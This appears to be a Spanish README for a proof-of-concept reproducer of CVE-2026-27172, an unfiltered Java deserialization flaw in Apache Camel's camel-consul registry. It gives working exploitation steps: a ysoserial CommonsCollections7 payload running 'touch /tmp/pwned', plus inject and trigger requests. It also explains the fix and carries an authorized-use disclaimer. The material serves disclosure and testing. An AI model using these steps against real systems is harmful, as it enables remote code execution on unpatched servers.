
Reproductor para CVE-2026-27172: Apache Camel camel-consul ConsulRegistry deserialización Java (RCE)
Este proyecto demuestra una vulnerabilidad de deserialización en Java en el componente
camel-consul de Apache Camel (ConsulRegistry), registrada como CVE-2026-27172. Pertenece a la misma
clase de problema que CVE-2024-22369, CVE-2024-23114 y CVE-2026-25747, y fue
pasada por alto durante la remediación original de esos CVEs.
Aviso: https://camel.apache.org/security/CVE-2026-27172.html
| Propiedad | Valor |
|---|---|
| Componente | camel-consul |
| Clase Afectada | org.apache.camel.component.consul.ConsulRegistry (ConsulRegistryUtils.deserialize) |
| Métodos Vulnerables | lookupByName(), lookupByNameAndType(), findByTypeWithName(), findByType() |
| CWE | CWE-502: Deserialización de Datos No Confiables |
| Impacto | Ejecución Remota de Código (RCE) |
| Versiones Afectadas | Desde 3.0.0 antes de 4.14.6, y desde 4.15.0 antes de 4.18.1 |
| Versiones Corregidas | 4.14.6, 4.18.1, 4.19.0 |
| JIRA | CAMEL-23029 |
ConsulRegistry utiliza el almacén clave-valor de Consul como un registro de Camel. Cuando se busca un bean
por nombre, el valor almacenado se decodifica en Base64 y se deserializa con un ObjectInputStream
crudo y, en versiones afectadas, sin ObjectInputFilter:
// ConsulRegistry.lookupByName(...)
public Object lookupByName(String key) {
kvClient = consul.keyValueClient();
return kvClient.getValueAsString(key).map(result -> {
byte[] postDecodedValue = ConsulRegistryUtils.decodeBase64(result);
return ConsulRegistryUtils.deserialize(postDecodedValue); // sin filtro (afectado)
}).orElse(null);
}
// ConsulRegistryUtils.deserialize(...) - versión afectada
static Object deserialize(byte[] bytes) {
try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
return in.readObject(); // ¡SIN FILTRADO!
}
}
Cualquier objeto almacenado en el almacén KV de Consul bajo una clave que Camel busque posteriormente es deserializado. Un atacante que pueda escribir en esa ruta KV puede plantar una carga útil de cadena de gadgets que se ejecuta cuando se realiza la búsqueda en el registro.
docker run -d --name consul -p 8500:8500 hashicorp/consul:1.17 agent -dev -client 0.0.0.0
mvn clean package -DskipTests
mvn spring-boot:run
curl http://localhost:8080/exploit/init
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
# Linux (prueba benigna: crear un archivo). Usar "open -a Calculator" en macOS, "calc.exe" en Windows.
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64
ConsulRegistry almacena objetos serializados codificados en Base64, por lo que la carga útil se entrega como
Base64.
curl -X POST http://localhost:8080/exploit/inject \
-H "Content-Type: text/plain" \
--data-binary @payload.b64
curl http://localhost:8080/exploit/trigger
lookupByName() lee el valor KV, lo decodifica en Base64 y lo deserializa — ejecutando la
cadena de gadgets.
ls -la /tmp/pwned
Si el archivo /tmp/pwned existe, la explotación fue exitosa.
La vulnerabilidad se desencadena cada vez que el registro resuelve un bean:
.to("bean:..."), bean(...), .process("...") por nombre llaman todas a lookupByName().findByType() / lookupByNameAndType() iteran sobre entradas KV y las deserializan.commons-collections:3.2.1 (gadgets CommonsCollections1-7)La corrección (CAMEL-23029) añade un ObjectInputFilter configurable (por defecto
java.**;org.apache.camel.**;!*) a ConsulRegistryUtils.deserialize, y expone una
opción deserializationFilter para que las clases de confianza puedan ser incluidas en la lista blanca:
static Object deserialize(byte[] bytes, String deserializationFilter) {
try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
if (deserializationFilter != null) {
in.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
}
return in.readObject();
}
}
Hasta que se actualice a una versión corregida:
CVE-2026-27172/
├── pom.xml # Configuración de Maven (versión afectada de camel-consul)
├── README.md # Este archivo
└── src/main/
├── java/com/example/
│ ├── Application.java # Punto de entrada de Spring Boot
│ ├── ConsulRegistryRoute.java # Ruta de Camel (deshabilitada; muestra uso real)
│ └── ExploitController.java # Puntos finales REST para la PoC
└── resources/
└── application.properties
Este reproductor se proporciona únicamente para investigación de seguridad y pruebas autorizadas, para una vulnerabilidad divulgada públicamente y corregida. No lo use contra sistemas sin permiso explícito.
| Aspecto | Cassandra (CVE-2024-23114) | LevelDB (CVE-2026-25747) | Consul (CVE-2026-27172) |
|---|
| Almacén subyacente | Tabla Cassandra | Archivo LevelDB | Almacén KV de Consul |
| ObjectInputFilter (antes de la corrección) | ninguno | ninguno | ninguno |
| Corrección | Lista blanca ObjectInputFilter | Lista blanca ObjectInputFilter | Lista blanca ObjectInputFilter |
| JIRA | CAMEL-20306 | CAMEL-22821 | CAMEL-23029 |